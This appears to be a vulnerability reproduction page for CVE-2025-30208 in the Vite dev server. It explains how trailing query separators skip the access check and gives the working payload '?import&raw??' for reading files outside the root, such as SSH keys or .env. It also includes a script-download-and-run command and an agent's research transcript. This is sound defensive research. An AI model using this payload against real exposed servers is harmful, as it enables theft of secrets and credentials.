CVE-2025-30208: Verified Repro With Script Download
CVE-2025-30208: Vite dev server access control can be bypassed using crafted query strings, allowing arbitrary file reads via the @fs handler when the dev server is exposed to the network.
CVE-2025-30208 is verified against vite · npm. Affected versions: >= 6.2.0 < 6.2.3, >= 6.1.0 < 6.1.2, >= 6.0.0 < 6.0.12, >= 5.0.0 < 5.4.15, < 4.5.10. Fixed in 6.2.3, 6.1.2, 6.0.12, 5.4.15, 4.5.10. This medium reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00195.
What Is CVE-2025-30208?
CVE-2025-30208 is a medium-severity (CVSS 5.3) access-control bypass in Vite's development server. It allows arbitrary file reads via the @fs handler when the dev server is exposed to the network. Pruva reproduced it (reproduction REPRO-2026-00195).
CVE-2025-30208 Severity & CVSS Score
CVE-2025-30208 is rated medium severity, with a CVSS base score of 5.3 out of 10.
Medium — meaningful risk under specific conditions. Schedule a fix in the normal cycle.
Affected vite Versions
vite · npm versions >= 6.2.0 < 6.2.3, >= 6.1.0 < 6.1.2, >= 6.0.0 < 6.0.12, >= 5.0.0 < 5.4.15, < 4.5.10 are affected.
How to Reproduce CVE-2025-30208
pruva-verify REPRO-2026-00195 curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00195/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2025-30208
- reached the target end-to-end
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
Crafted query string '?import&raw??' appended to a /@fs/<absolute-path> URL against a network-exposed Vite dev server
- Vite dev server transformMiddleware: rawRE/urlRE guard skipped (trailing '??' breaks /(\?|&)raw(?:&|$)/) so ensureServingAccess is never called; isImportRequest('?import&') true
- transformRequest
- vite:raw plugin loads out-of-root file
- HTTP 200 with file contents
reproduction_steps.sh How the agent worked
Root Cause and Exploit Chain for CVE-2025-30208
Vite's dev server exposes a /@fs/ endpoint that serves arbitrary files from the
filesystem, gated by an allow-list access-control check (server.fs.allow /
server.fs.strict). In packages/vite/src/node/server/middlewares/transform.ts the
guard that invokes that access check only fires when rawRE.test(url) or
urlRE.test(url) is true, and those regexes (/(\?|&)raw(?:&|$)/ and
/(\?|&)url(?:&|$)/) require the raw/url token to be followed by & or
end-of-string. By appending extra trailing query separators such as ??
(e.g. /@fs/tmp/secret.txt?import&raw??), the raw token is followed by ?
instead of &/$, so the regex test returns false, the
ensureServingAccess(...) access check is never called, and the guard is
skipped entirely. Because isImportRequest() still matches the ?import&
portion of the URL, the request nevertheless enters the transform/serve block and
the out-of-root file is read and returned — bypassing server.fs.deny/allow-list
enforcement. This enables remote disclosure of arbitrary local files whenever the
dev server is exposed to the network (--host / server.host).
- Package / component:
npm:vite— dev server@fsfile-serving middleware (packages/vite/src/node/server/middlewares/transform.ts, interaction withmiddlewares/static.tsensureServingAccess). - Affected versions:
>= 6.2.0 < 6.2.3,>= 6.1.0 < 6.1.2,>= 6.0.0 < 6.0.12,>= 5.0.0 < 5.4.15,< 4.5.10. - Patched versions: 6.2.3, 6.1.2, 6.0.12, 5.4.15, 4.5.10.
- Risk level: Medium. Remote arbitrary-file read against any project whose dev
server is bound to a network interface (
--host). Secrets under paths such as/etc/passwd,~/.ssh/id_rsa,.env, or any readable file reachable from the server process can be exfiltrated. - Precondition: The dev server must be network-exposed (
server.host/--host). On localhost-only bindings the same bug is technically triggerable but the impact is local-only.
Impact Parity
- Disclosed / claimed maximum impact: Remote disclosure of arbitrary local files outside the Vite serving allow list when the dev server is exposed to the network (an information-disclosure / arbitrary-file-read primitive).
- Reproduced impact from this run: A real running Vite dev server
(
vite@6.2.2, bound viahost: true) returned the full contents of an out-of-root secret file (/tmp/pruva_vite_secret_*.txt) for the crafted request/@fs/tmp/pruva_vite_secret_*.txt?import&raw??(HTTP 200, bodyexport default "<SECRET>\n"), while the non-crafted request to the same/@fs/path was correctly denied with HTTP 403. The patchedvite@6.2.3returns 403 for the identical crafted request (no leak). - Parity:
full. The disclosed arbitrary-file-read primitive was reproduced end-to-end against the real product, with a fixed-version negative control. - Not demonstrated: No code execution is claimed or demonstrated; this is purely an information-disclosure / access-control-bypass issue.
Root Cause
In the vulnerable code (transform.ts, parent of fix commit
80381c38d6f068b12e6e928cd3c616bd1d64803c), the access-control guard is:
// vulnerable
if (
(rawRE.test(url) || urlRE.test(url)) &&
!ensureServingAccess(url, server, res, next)
) {
return
}
with (in utils.ts):
export const urlRE = /(\?|&)url(?:&|$)/
export const rawRE = /(\?|&)raw(?:&|$)/
const importQueryRE = /(\?|&)import=?(?:&|$)/
export const isImportRequest = (url: string): boolean => importQueryRE.test(url)
For the crafted URL /@fs/tmp/secret.txt?import&raw??:
rawRE.test(url)→ looks for?raw/&rawfollowed by&or$. The&rawtoken is followed by?(the trailing??), which is neither&nor end-of-string → false.urlRE.test(url)→ false.- The whole
ifcondition is therefore false (short-circuits), soensureServingAccess(...)— the only place that enforces the allow list for this code path — is never invoked, and the guard does notreturn. - Execution falls through to the transform entry condition:
if ( req.headers['sec-fetch-dest'] === 'script' || isJSRequest(url) || isImportRequest(url) || // ?import& matches importQueryRE -> true isCSSRequest(url) || isHTMLProxy(url) ) { ... transformRequest(...) ... send(...) }isImportRequest(url)matches?import&(theimporttoken is followed by&), so the request enters the transform block.removeImportQuery(url)strips theimportquery, leaving?raw, andtransformRequestloads the file via thevite:rawplugin (export default <JSON.stringify(content)>). The raw plugin'sloadreads the file directly from disk with no serving access check, so the secret content is returned with HTTP 200.
The mismatch is the crux: the access-control guard keys off rawRE/urlRE
(which require &/$ termination), while the serve path keys off
isImportRequest (which only requires ?import to be &/$-terminated). The
trailing ?? defeats the former but not the latter, so the request is served
without ever being authorized.
The normal /@fs/tmp/secret.txt request (no ?import) does not enter the
transform block; it falls through to serveRawFsMiddleware, which calls
ensureServingAccess with the query-stripped pathname and correctly returns 403.
Fix (commit 80381c38d6f068b12e6e928cd3c616bd1d64803c, PR #19702; backports
315695e9d97cc6cfa7e6d9e0229fb50cdae3d9f4 (6.2),
807d7f06d33ab49c48a2a3501da3eea1906c0d41 (6.1),
92ca12dc79118bf66f2b32ff81ed09e0d0bd07ca (6.0),
f234b5744d8b74c95535a7b82cc88ed2144263c1 (5/4)):
const trailingQuerySeparatorsRE = /[?&]+$/
const urlWithoutTrailingQuerySeparators = url.replace(trailingQuerySeparatorsRE, '')
if (
(rawRE.test(urlWithoutTrailingQuerySeparators) ||
urlRE.test(urlWithoutTrailingQuerySeparators)) &&
!ensureServingAccess(urlWithoutTrailingQuerySeparators, server, res, next)
) {
return
}
Stripping trailing ?/& before the regex test makes
rawRE.test('/@fs/.../secret.txt?import&raw') true (now &raw is at
end-of-string), so ensureServingAccess runs and denies the out-of-root file
(HTTP 403). The corresponding regression tests
(playground/fs-serve/__tests__/fs-serve.spec.ts) assert 403 for both
?import&raw?? and ?import&raw?&.
Reproduction Steps
- Script:
bundle/repro/reproduction_steps.sh(self-contained, idempotent). - What it does:
- Reads
bundle/project_cache_context.jsonand uses the durable project cache dir (prepared=true) for the Vite projects; falls back tobundle/artifactsotherwise. - Creates two minimal Vite projects (
index.html,src/main.js,vite.config.jswithserver.host:true,strictPort:true,fs:{strict:true, allow:[cwd]}) and installs the vulnerablevite@6.2.2and the patchedvite@6.2.3respectively vianpm install. - Writes a secret file outside the project root
(
/tmp/pruva_vite_secret_<rand>.txt) containing a unique canary token. - Starts the vulnerable dev server (
node .../vite/bin/vite.js,host:true) and sends:GET /@fs/<secret>→ expects 403 (allow-list denial, control).GET /@fs/<secret>?import&raw??→ expects 200 + secret token in body (the bypass).
- Stops the server, starts the fixed
vite@6.2.3dev server, and sends the same crafted request → expects 403 with no secret (negative control). - Writes
bundle/repro/runtime_manifest.json(viajq) and a result summary. Exits 0 only when: vuln normal=403, vuln crafted=200 + leaked, fixed crafted=403 + not leaked.
- Reads
- Expected evidence of reproduction: HTTP 403 for the plain
/@fs/request and HTTP 200 whose body isexport default "<SECRET_TOKEN>\n"for the crafted?import&raw??request onvite@6.2.2; HTTP 403 (no secret) for the same crafted request onvite@6.2.3.
Evidence
- Server logs:
bundle/logs/vuln_server.log,bundle/logs/fixed_server.log(Vite startup banners:VITE v6.2.2 ready in ... ms/VITE v6.3.3...). - Result summary:
bundle/logs/result.txt. - HTTP request/response artifacts:
bundle/artifacts/http/vuln_normal_resp.txt— 403 Restricted HTML (The request url "/tmp/pruva_vite_secret_*.txt" is outside of Vite serving allow list.).bundle/artifacts/http/vuln_crafted_resp.txt— 200, bodyexport default "TOP_SECRET_VITE_BYPASS_TOKEN_<rand>_CANARY\n"(secret leaked through the@fsconverter).bundle/artifacts/http/fixed_crafted_resp.txt— 403 Restricted HTML (patch blocks the same crafted request).
- Runtime manifest:
bundle/repro/runtime_manifest.json—entrypoint_kind=converter_document,service_started=true,healthcheck_passed=true,target_path_reached=true, with the status codes and leak booleans recorded underevidence. - Key reproduced excerpt (vulnerable, crafted request):
export default "TOP_SECRET_VITE_BYPASS_TOKEN_18017_CANARY\n" //# sourceMappingURL=data:application/json;base64,... - Environment: Node.js v24.15.0 / npm 11.12.1;
vite@6.2.2(vulnerable) andvite@6.2.3(fixed) installed from npm; dev server bound to0.0.0.0:5173.
Recommendations / Next Steps
- Upgrade to a patched release:
vite@>=6.2.3,>=6.1.2,>=6.0.12,>=5.4.15, or>=4.5.10. - Mitigation for those who cannot upgrade immediately: do not expose the dev
server to untrusted networks (avoid
--host/server.host: true), or place the dev server behind a reverse proxy that strips/rejects suspicious query strings on/@fs/paths. - Testing: add a regression test asserting that every
/@fs/<outside-root>request with trailing query separators (?raw??,?import&raw??,?import&raw?&, and combinations) is rejected with 403 — matching the upstreamfs-serveplayground tests added by the fix. - Defense-in-depth: the raw/transform plugins should not rely solely on the
middleware guard; consider also enforcing
isFileServingAllowedinside the load pipeline so a missed middleware check cannot expose out-of-root files.
Additional Notes
- Idempotency: The script was executed two consecutive times; both runs
exited 0 with
confirmed=1(vuln normal=403, vuln crafted=200+leaked, fixed crafted=403+no-leak). Projects are written into the durable project cache (<project_cache_dir>/vite-repro-vulnand.../vite-repro-fixed); on re-runsnpm installreportsup to date, so subsequent runs are fast. - Process management: the dev server is started with
( cd <proj> && exec node .../vite/bin/vite.js ) &so$!is the node PID andstop_serverreliably terminates it (withpkill -Pfor any worker children) before starting the next build; port 5173 is verified free before each start. - Surface: the ticket classifies this as
converter_document(the/@fs/endpoint converts a file path into a served module/raw document via?import/?raw). The reproduction exercises that real converter endpoint over HTTP against the running Vite dev server, with a fixed-version negative control. - The
?raw??(without?import) variant: onvite@6.2.2a bare?raw??does not enter the transform block for a non-JS file unless aSec-Fetch-Dest: scriptheader / JS-like target makesisJSRequest/script true; the canonical, header-independent bypass is?import&raw??(and?import&raw?&), which are the variants covered by the upstream regression tests. The reproduction uses?import&raw??.
CVE-2025-30208 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
node --version 2>&1; npm --version 2>&1; which node npm 2>&1; echo "---cache---"; ls -la /data/pruva/project-cache/af89ded4-a3d2-46ec-9f2d-4d80416e7091/ 2>&1; echo "---mirror---"; ls -la /data/pruva/project-cache/af89ded4-a3d2-46ec-9f2d-4d80416e7091/repo-mirrors/ 2>&1v24.15.0 11.12.1 /usr/bin/node /usr/bin/npm ---cache--- total 12 drwxr-xr-x 3 vscode vscode 4096 Jul 1 22:12 . drwxr-xr-x 9 vscode vscode 4096 Jul 1 22:12 ..
cd /tmp && curl -sL https://github.com/vitejs/vite/commit/315695e9d97cc6cfa7e6d9e0229fb50cdae3d9f4.patch 2>&1 | head -200{"cwd":"/workspace/artifacts/d3b8b1ff-ef6e-491f-b652-09e2ee806e34","duration_ms":555,"exit_code":0,"stderr":"","stdout":"From 315695e9d97cc6cfa7e6d9e0229fb50cdae3d9f4 Mon Sep 17 00:00:00 2001\nFrom: =?UTF-8?q?=E7=BF=A0=20/=20green?= <green@sapphi.red>\nDate: Mon, 24 Mar 2025 18:43:29 +0900\nSubject: [PATCH] fix: backport #19702, fs raw query with query separators\n (#19704)\n\n---\n .../src/node/server/middlewares/transform.ts | 15 +++++++-\n .../fs-serve/__tests__/fs-serve.spec.ts | 14 +++++++\n playground/fs-serve/root/src/index.html | 38 +++++++++++++++++++\n 3 files changed, 65 insertions(+), 2 deletions(-)\n\ndiff --git a/packages/vite/src/node/server/middlewares/transform.ts b/packages/vite/src/node/server/middlewares/transform.ts\nindex 4bc1042c636084..861c1b360d7aa1 100644\n--- a/packages/vite/src/node/server/middlewares/transform.ts\n+++ b/packages/vite/src/node/server/middlewares/transform.ts\n@@ -44,6 +44,7 @@ import { ensureServingAccess } from './static'\n const debugCache = createDebugger('vite:cache')\n \n const knownIgnoreList = new Set(['/', '/favicon.ico'])\n+const trailingQuerySeparatorsRE = /[?&]+$/\n \n export function transformMiddleware(\n serv… [truncated]cd /tmp && echo "=== vite versions ===" && npm view vite@6.2.2 version 2>&1; npm view vite@6.2.3 version 2>&1; echo "=== parent of fix commit ===" && curl -sL https://github.com/vitejs/vite/commit/315695e9d97cc6cfa7e6d9e0229fb50cdae3d9f4.patch 2>&1 | head -5=== vite versions === 6.2.2 npm notice npm notice New minor version of npm available! 11.12.1 -> 11.18.0 npm notice Changelog: https://github.com/npm/cli/releases/tag/v11.18.0 npm notice To update run: npm install -g npm@11.18.0 npm notice 6.2.3
cd /tmp && echo "=== other fix commits ===" && for c in 80381c38d6f068b12e6e928cd3c616bd1d64803c 807d7f06d33ab49c48a2a3501da3eea1906c0d41 92ca12dc79118bf66f2b32ff81ed09e0d0bd07ca f234b5744d8b74c95535a7b82cc88ed2144263c1; do echo "--- $c ---"; curl -sL "https://github.com/vitejs/vite/commit/$c.patch" 2>&1 | head -8; done{"cwd":"/workspace/artifacts/d3b8b1ff-ef6e-491f-b652-09e2ee806e34","duration_ms":1898,"exit_code":0,"stderr":"","stdout":"=== other fix commits ===\n--- 80381c38d6f068b12e6e928cd3c616bd1d64803c ---\nFrom 80381c38d6f068b12e6e928cd3c616bd1d64803c Mon Sep 17 00:00:00 2001\nFrom: =?UTF-8?q?=E7=BF=A0=20/=20green?= <green@sapphi.red>\nDate: Mon, 24 Mar 2025 18:25:11 +0900\nSubject: [PATCH] fix: fs raw query with query separators (#19702)\n\n---\n .../src/node/server/middlewares/transform.ts | 15 +++++++-\n .../fs-serve/__tests__/fs-serve.spec.ts | 14 +++++++\n--- 807d7f06d33ab49c48a2a3501da3eea1906c0d41 ---\nFrom 807d7f06d33ab49c48a2a3501da3eea1906c0d41 Mon Sep 17 00:00:00 2001\nFrom: =?UTF-8?q?=E7=BF=A0=20/=20green?= <green@sapphi.red>\nDate: Mon, 24 Mar 2025 18:42:35 +0900\nSubject: [PATCH] fix: backport #19702, fs raw query with query separators\n (#19703)\n\n---\n .../src/node/server/middlewares/transform.ts | 15 +++++++-\n--- 92ca12dc79118bf66f2b32ff81ed09e0d0bd07ca ---\nFrom 92ca12dc79118bf66f2b32ff81ed09e0d0bd07ca Mon Sep 17 00:00:00 2001\nFrom: =?UTF-8?q?=E7=BF=A0=20/=20green?= <green@sapphi.red>\nDate: Mon, 24 Mar 2025 18:25:11 +0900\nSubject: [PATCH] fix: fs raw query w… [truncated]cd /tmp && PARENT=$(curl -sL "https://api.github.com/repos/vitejs/vite/commits/80381c38d6f068b12e6e928cd3c616bd1d64803c" 2>&1 | jq -r '.parents[0].sha' 2>&1); echo "PARENT=$PARENT"; echo "=== transform.ts (vulnerable) ==="; curl -sL "https://raw.githubusercontent.com/vitejs/vite/$PARENT/packages/vite/src/node/server/middlewares/transform.ts" 2>&1 | sed -n '1,60p'{"cwd":"/workspace/artifacts/d3b8b1ff-ef6e-491f-b652-09e2ee806e34","duration_ms":882,"exit_code":0,"stderr":"","stdout":"PARENT=021443c5a11eedfb176f2c65d5fab65e9c21adfb\n=== transform.ts (vulnerable) ===\nimport path from 'node:path'\nimport fsp from 'node:fs/promises'\nimport type { Connect } from 'dep-types/connect'\nimport colors from 'picocolors'\nimport type { ExistingRawSourceMap } from 'rollup'\nimport type { ViteDevServer } from '..'\nimport {\n createDebugger,\n fsPathFromId,\n injectQuery,\n isImportRequest,\n isJSRequest,\n normalizePath,\n prettifyUrl,\n rawRE,\n removeImportQuery,\n removeTimestampQuery,\n urlRE,\n} from '../../utils'\nimport { send } from '../send'\nimport { ERR_LOAD_URL, transformRequest } from '../transformRequest'\nimport { applySourcemapIgnoreList } from '../sourcemap'\nimport { isHTMLProxy } from '../../plugins/html'\nimport {\n DEP_VERSION_RE,\n ERR_FILE_NOT_FOUND_IN_OPTIMIZED_DEP_DIR,\n ERR_OPTIMIZE_DEPS_PROCESSING_ERROR,\n FS_PREFIX,\n} from '../../constants'\nimport {\n isCSSRequest,\n isDirectCSSRequest,\n isDirectRequest,\n} from '../../plugins/css'\nimport { ERR_CLOSED_SERVER } from '../pluginContainer'\nimport { cleanUrl… [truncated]cd /tmp && echo "=== vulnerable transform.ts around ensureServingAccess ==="; curl -sL "https://raw.githubusercontent.com/vitejs/vite/021443c5a11eedfb176f2c65d5fab65e9c21adfb/packages/vite/src/node/server/middlewares/transform.ts" 2>&1 | sed -n '120,200p'; echo "=== static.ts ensureServingAccess ==="; curl -sL "https://raw.githubusercontent.com/vitejs/vite/021443c5a11eedfb176f2c65d5fab65e9c21adfb/packages/vite/src/node/server/middlewares/static.ts" 2>&1 | sed -n '1,120p'{"cwd":"/workspace/artifacts/d3b8b1ff-ef6e-491f-b652-09e2ee806e34","duration_ms":536,"exit_code":0,"stderr":"","stdout":"=== vulnerable transform.ts around ensureServingAccess ===\n : normalizePath(path.resolve(server.config.root, url.slice(1)))\n try {\n const map = JSON.parse(\n await fsp.readFile(sourcemapPath, 'utf-8'),\n ) as ExistingRawSourceMap\n\n applySourcemapIgnoreList(\n map,\n sourcemapPath,\n server.config.server.sourcemapIgnoreList,\n server.config.logger,\n )\n\n return send(req, res, JSON.stringify(map), 'json', {\n headers: server.config.server.headers,\n })\n } catch {\n // Outdated source map request for optimized deps, this isn't an error\n // but part of the normal flow when re-optimizing after missing deps\n // Send back an empty source map so the browser doesn't issue warnings\n const dummySourceMap = {\n version: 3,\n file: sourcemapPath.replace(/\\.map$/, ''),\n sources: [],\n sourcesContent:… [truncated]cd /tmp && echo "=== ensureServingAccess in static.ts ==="; curl -sL "https://raw.githubusercontent.com/vitejs/vite/021443c5a11eedfb176f2c65d5fab65e9c21adfb/packages/vite/src/node/server/middlewares/static.ts" 2>&1 | sed -n '120,260p'{"cwd":"/workspace/artifacts/d3b8b1ff-ef6e-491f-b652-09e2ee806e34","duration_ms":309,"exit_code":0,"stderr":"","stdout":"=== ensureServingAccess in static.ts ===\n cleanedUrl[cleanedUrl.length - 1] === '/' ||\n path.extname(cleanedUrl) === '.html' ||\n isInternalRequest(req.url!) ||\n // skip url starting with // as these will be interpreted as\n // scheme relative URLs by new URL() and will not be a valid file path\n req.url?.startsWith('//')\n ) {\n return next()\n }\n\n const url = new URL(req.url!, 'http://example.com')\n const pathname = decodeURI(url.pathname)\n\n // apply aliases to static requests as well\n let redirectedPathname: string | undefined\n for (const { find, replacement } of server.config.resolve.alias) {\n const matches =\n typeof find === 'string'\n ? pathname.startsWith(find)\n : find.test(pathname)\n if (matches) {\n redirectedPathname = pathname.replace(find, replacement)\n break\n }\n }\n if (redirectedPathname) {\n // dir is pre-normalized to posix style\n if (redirectedPathname.startsWith(withTrailingSlash(dir))) {\n redire… [truncated]Artifacts and Evidence for CVE-2025-30208
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2025-30208
Upgrade vite · npm to 6.2.3, 6.1.2, 6.0.12, 5.4.15, 4.5.10 or later.
FAQ: CVE-2025-30208
Which versions of Vite are affected by CVE-2025-30208, and where is it fixed?
How severe is CVE-2025-30208?
How can I reproduce CVE-2025-30208?
References for CVE-2025-30208
Authoritative sources for CVE-2025-30208 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.